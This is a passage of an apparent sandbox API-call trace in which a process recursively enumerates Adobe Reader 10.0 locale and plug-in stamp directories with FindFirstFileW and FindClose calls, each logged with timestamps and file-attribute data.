ftCreationTime.dwLowDateTime=0x7d749580, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82ec3e00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82ec3e00, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x718798 [0029.861] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pt_BR\\Services\\*.*", lpFindFileData=0x18e464 | out: lpFindFileData=0x18e464*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f4af00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fbd320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7187d8 [0029.862] FindClose (in: hFindFile=0x7187d8 | out: hFindFile=0x7187d8) returned 1 [0029.862] FindClose (in: hFindFile=0x718798 | out: hFindFile=0x718798) returned 1 [0029.862] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ro_RO\\*.*", lpFindFileData=0x18e754 | out: lpFindFileData=0x18e754*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7bb9a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x832c8320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x832c8320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x718798 [0029.864] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ro_RO\\Services\\*.*", lpFindFileData=0x18e464 | out: lpFindFileData=0x18e464*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f4af00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81f971c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81f971c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7187d8 [0029.865] FindClose (in: hFindFile=0x7187d8 | out: hFindFile=0x7187d8) returned 1 [0029.865] FindClose (in: hFindFile=0x718798 | out: hFindFile=0x718798) returned 1 [0029.865] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ru_RU\\*.*", lpFindFileData=0x18e754 | out: lpFindFileData=0x18e754*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7bb9a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x832c8320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x832c8320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x718798 [0029.867] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ru_RU\\Services\\*.*", lpFindFileData=0x18e464 | out: lpFindFileData=0x18e464*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f4af00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81f971c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81f971c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7187d8 [0029.868] FindClose (in: hFindFile=0x7187d8 | out: hFindFile=0x7187d8) returned 1 [0029.868] FindClose (in: hFindFile=0x718798 | out: hFindFile=0x718798) returned 1 [0029.868] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sk_SK\\*.*", lpFindFileData=0x18e754 | out: lpFindFileData=0x18e754*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7bb9a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x832c8320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x832c8320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x718798 [0029.870] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sk_SK\\Services\\*.*", lpFindFileData=0x18e464 | out: lpFindFileData=0x18e464*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f4af00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81f971c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81f971c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7187d8 [0029.870] FindClose (in: hFindFile=0x7187d8 | out: hFindFile=0x7187d8) returned 1 [0029.870] FindClose (in: hFindFile=0x718798 | out: hFindFile=0x718798) returned 1 [0029.870] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sl_SI\\*.*", lpFindFileData=0x18e754 | out: lpFindFileData=0x18e754*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7bb9a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x832a21c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x832a21c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x718798 [0029.873] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sl_SI\\Services\\*.*", lpFindFileData=0x18e464 | out: lpFindFileData=0x18e464*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f4af00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81f971c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81f971c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7187d8 [0029.873] FindClose (in: hFindFile=0x7187d8 | out: hFindFile=0x7187d8) returned 1 [0029.874] FindClose (in: hFindFile=0x718798 | out: hFindFile=0x718798) returned 1 [0029.874] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sv_SE\\*.*", lpFindFileData=0x18e754 | out: lpFindFileData=0x18e754*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d749580, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82ec3e00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82ec3e00, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x718798 [0029.875] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sv_SE\\Services\\*.*", lpFindFileData=0x18e464 | out: lpFindFileData=0x18e464*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f4af00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81f971c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81f971c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7187d8 [0029.876] FindClose (in: hFindFile=0x7187d8 | out: hFindFile=0x7187d8) returned 1 [0029.876] FindClose (in: hFindFile=0x718798 | out: hFindFile=0x718798) returned 1 [0029.876] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\tr_TR\\*.*", lpFindFileData=0x18e754 | out: lpFindFileData=0x18e754*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d795840, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x832a21c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x832a21c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x718798 [0029.878] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\tr_TR\\Services\\*.*", lpFindFileData=0x18e464 | out: lpFindFileData=0x18e464*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f4af00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81f971c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81f971c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7187d8 [0029.878] FindClose (in: hFindFile=0x7187d8 | out: hFindFile=0x7187d8) returned 1 [0029.878] FindClose (in: hFindFile=0x718798 | out: hFindFile=0x718798) returned 1 [0029.878] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\uk_UA\\*.*", lpFindFileData=0x18e754 | out: lpFindFileData=0x18e754*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d795840, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x832a21c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x832a21c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x718798 [0029.881] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\uk_UA\\Services\\*.*", lpFindFileData=0x18e464 | out: lpFindFileData=0x18e464*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f4af00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81f971c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81f971c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7187d8 [0029.881] FindClose (in: hFindFile=0x7187d8 | out: hFindFile=0x7187d8) returned 1 [0029.881] FindClose (in: hFindFile=0x718798 | out: hFindFile=0x718798) returned 1 [0029.881] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_CN\\*.*", lpFindFileData=0x18e754 | out: lpFindFileData=0x18e754*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d6d7160, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82fce7a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82fce7a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x718798 [0029.884] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_CN\\Services\\*.*", lpFindFileData=0x18e464 | out: lpFindFileData=0x18e464*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f4af00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81f971c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81f971c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7187d8 [0029.884] FindClose (in: hFindFile=0x7187d8 | out: hFindFile=0x7187d8) returned 1 [0029.884] FindClose (in: hFindFile=0x718798 | out: hFindFile=0x718798) returned 1 [0029.885] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_TW\\*.*", lpFindFileData=0x18e754 | out: lpFindFileData=0x18e754*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d618a80, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82fce7a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82fce7a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x718798 [0029.886] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_TW\\Services\\*.*", lpFindFileData=0x18e464 | out: lpFindFileData=0x18e464*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f24da0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81f971c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81f971c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7187d8 [0029.886] FindClose (in: hFindFile=0x7187d8 | out: hFindFile=0x7187d8) returned 1 [0029.887] FindClose (in: hFindFile=0x718798 | out: hFindFile=0x718798) returned 1 [0029.887] FindClose (in: hFindFile=0x718758 | out: hFindFile=0x718758) returned 1 [0029.887] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\*.*", lpFindFileData=0x18ea44 | out: lpFindFileData=0x18ea44*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cfb2f60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82ff4900, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82ff4900, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x718758 [0029.888] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\AcroForm\\*.*", lpFindFileData=0x18e754 | out: lpFindFileData=0x18e754*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x82e05720, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82e519e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82e519e0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x718798 [0029.888] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\AcroForm\\PMP\\*.*", lpFindFileData=0x18e464 | out: lpFindFileData=0x18e464*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x82e519e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82ff4900, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82ff4900, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7187d8 [0029.889] FindClose (in: hFindFile=0x7187d8 | out: hFindFile=0x7187d8) returned 1 [0029.889] FindClose (in: hFindFile=0x718798 | out: hFindFile=0x718798) returned 1 [0029.889] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\*.*", lpFindFileData=0x18e754 | out: lpFindFileData=0x18e754*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f804400, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7f804400, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7f804400, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x718798 [0029.890] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\*.*", lpFindFileData=0x18e464 | out: lpFindFileData=0x18e464*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f804400, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81eb2980, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81eb2980, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7187d8 [0029.892] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CAT\\*.*", lpFindFileData=0x18e174 | out: lpFindFileData=0x18e174*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81eb2980, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81eb2980, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81eb2980, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x718818 [0029.895] FindClose (in: hFindFile=0x718818 | out: hFindFile=0x718818) returned 1 [0029.896] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CHS\\*.*", lpFindFileData=0x18e174 | out: lpFindFileData=0x18e174*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8000ce40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8000ce40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8000ce40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x718818 [0029.896] FindClose (in: hFindFile=0x718818 | out: hFindFile=0x718818) returned 1 [0029.898] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CHT\\*.*", lpFindFileData=0x18e174 | out: lpFindFileData=0x18e174*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ff28600, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7ff4e760, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7ff4e760, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x718818 [0029.898] FindClose (in: hFindFile=0x718818 | out: hFindFile=0x718818) returned 1 [0029.899] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CZE\\*.*", lpFindFileData=0x18e174 | out: lpFindFileData=0x18e174*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8070aee0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80731040, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80731040, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x718818 [0029.901] FindClose (in: hFindFile=0x718818 | out: hFindFile=0x718818) returned 1 [0029.902] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\DAN\\*.*", lpFindFileData=0x18e174 | out: lpFindFileData=0x18e174*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ff4e760, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7ff4e760, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7ff4e760, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x718818 [0029.903] FindClose (in: hFindFile=0x718818 | out: hFindFile=0x718818) returned 1 [0029.903] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\DEU\\*.*", lpFindFileData=0x18e174 | out: lpFindFileData=0x18e174*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7fedc340, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7fedc340, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7fedc340, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x718818 [0029.904] FindClose (in: hFindFile=0x718818 | out: hFindFile=0x718818) returned 1 [0029.904] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\ENU\\*.*", lpFindFileData=0x18e174 | out: lpFindFileData=0x18e174*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7fedc340, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7ff024a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7ff024a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x718818 [0029.905] FindClose (in: hFindFile=0x718818 | out: hFindFile=0x718818) returned 1 [0029.905] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\ESP\\*.*", lpFindFileData=0x18e174 | out: lpFindFileData=0x18e174*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ff4e760, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7ff4e760, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7ff4e760, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x718818 [0029.906] FindClose (in: hFindFile=0x718818 | out: hFindFile=0x718818) returned 1 [0029.906] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\EUQ\\*.*", lpFindFileData=0x18e174 | out: lpFindFileData=0x18e174*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81e8c820, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81eb2980, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81eb2980, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x718818 [0029.909] FindClose (in: hFindFile=0x718818 | out: hFindFile=0x718818) returned 1 [0029.910] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\FRA\\*.*", lpFindFileData=0x18e174 | out: lpFindFileData=0x18e174*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7feb61e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7feb61e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7feb61e0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x718818 [0029.911] FindClose (in: hFindFile=0x718818 | out: hFindFile=0x718818) returned 1 [0029.911] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\HRV\\*.*", lpFindFileData=0x18e174 | out: lpFindFileData=0x18e174*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8070aee0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8070aee0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8070aee0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x718818 [0029.913] FindClose (in: hFindFile=0x718818 | out: hFindFile=0x718818) returned 1 [0029.914] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\HUN\\*.*", lpFindFileData=0x18e174 | out: lpFindFileData=0x18e174*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x806e4d80, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x806e4d80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x806e4d80, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x718818 [0029.916] FindClose (in: hFindFile=0x718818 | out: hFindFile=0x718818) returned 1 [0029.917] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\ITA\\*.*", lpFindFileData=0x18e174 | out: lpFindFileData=0x18e174*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7fedc340, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7fedc340, 